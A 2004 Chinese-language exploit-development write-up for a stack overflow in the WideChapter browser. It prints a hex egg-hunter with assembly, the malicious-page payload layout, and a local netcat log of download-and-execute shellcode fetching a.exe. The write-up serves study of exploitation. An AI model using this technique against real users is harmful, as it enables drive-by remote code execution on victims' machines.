WideChapter緩沖溢出漏洞的利用

全世界各行各業(yè)聯(lián)合起來，internet一定要實現(xiàn)！

2004-02-16 eNet&Ciweek

　　Author: N.E.V.E.R

　　E-Mail: never@safechina.net

　　Homepage: http://www.safechina.net

　　WideChapter存在緩沖溢出漏洞（http://www.cnns.net/article/db/3521.htm），這似乎是一個簡單的棧溢出，但是利用上存在一點小小的困難。

　　按照描述，在 web 頁面中嵌入以下 JavaScript 代碼即可修改 EIP

　　<script>window.open("http://AAA..

　　先還是簡單看看：構(gòu)造了http://aaa..[513個]xxxx，用widechapter打開，呵呵，softice跳出來了。棧溢出還是比較簡單的，看樣子就是這個格式就可以了。

　　http://aaa..[513個] jmpesp nops shellcode

　　馬上構(gòu)造這種樣子的html，我用的jeno的download execute的shellcode，本地nc -l -p 80，但是沒有反應(yīng)。很奇怪，馬上用0xeb0xfe（jmp -1死循環(huán)）替換shellcode前面的nops，然后打開html，widechapter像死了一樣，ctrl+d呼出softice一看，確實是在死循環(huán)，應(yīng)該是跳到shellcode了的啊。嗯，再往下一看，shellcode變了。

　　看來這個串被拷貝之前是做了一些轉(zhuǎn)換的。看了一下子，不是很清楚轉(zhuǎn)換方法，大約是大寫字母變成小寫字母，0x80以上開始的word好像不變，f0以上開頭的word會被轉(zhuǎn)換，7f會被截掉（？）。這個地方應(yīng)該不能放shellcode了，只好放一個找尋并跳轉(zhuǎn)的東西。嗯，馬上寫一個找尋并跳轉(zhuǎn)的code，當然要滿足不能被改變，有點困難，9點鐘開始寫，成功的時候已經(jīng)到了10點半了……如下。

　　"\xba\x55\x54\x54\x54"mov edx, 0x54545455

　　"\x4a"dec edx

　　"\x8b\xc4"mov eax, esp

　　"\x90"nop

　　"\x8b\x18"mov ebx, [eax]

　　"\x40\x40\x40\x40"inc eax ; x4

　　"\x3b\xda"cmp ebx, edx

　　"\x75\xf6"jne f6 ;jmp back

　　"\x40\x40\x40\x40\x40\x40\x40"inc eax ;x7

　　"\x90"nop

　　"\x89\x40\x04"mov [eax+4], eax

　　"\x54"push esp

　　"\xff\x60\x04";jmp [eax+4]

　　現(xiàn)在要構(gòu)造的就是這樣子的html了

　　<scripts>window.open("http://A x 513[jmpesp] [nops] [searchcode]")</scripts>[shellcode]

　　其中[shellcode]還要有點處理，先放上7個0x54(T)，然后6個（？）90(nop)，然后是一個eb0f(jmp 0f)然后是20來個90(nop)，最后才是jeno的shellcode。之所以要有一個jmp 0f，是因為那個search的code中有mov [eax+4], eax，很討厭，要跳過去。

　　然后我再測試，還是失敗了……其實我覺得一點都沒有錯，怎么會失敗呢，還是在search前面加上0xeb0xfe（jmp -1死循環(huán)），打開后ctrl+d，用s esp l ffffffff 54 54 54 54一搜，原來在找到真正的shellcode之前還有TTTT存在，選擇了好久，終于選擇到0xdadadada一定會搜索到我們的shellcode，趕快改掉，把0x54用0xda替換一下，當然，search里面的0x55也變成了0xdb。

　　還不是很放心，在search前面加上0x3bc074fc（cmp eax,eax & je -4），用widechapter打開，然后ctrl+d，停留在je -4上，用r把標志寄存器Z變一下，嗯，可以一步一步的調(diào)了。

　　先f7到j(luò)mp [eax+4]，然后看看e eip的內(nèi)容，果然到了我們的shellcode，f10下去，跳到了jeno的shellcode上面，呵呵，應(yīng)該說成功了，g一下，那邊nc -l -p 80的東東已經(jīng)顯示請求了~~

　　GET /a.exe HTTP/1.1

　　Accept: */*

　　Accept-Encoding: gzip, deflate

　　User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

　　Host: 127.0.0.1

　　Connection: Keep-Alive

　　然后剩下的都是細節(jié)問題，這個exploit只有在第一次用widechapter打開的時候才有效，要通用的話還要稍微修改一下search，不過那已經(jīng)是很簡單的工作了。

　　

【責任編輯李旭?！?/span>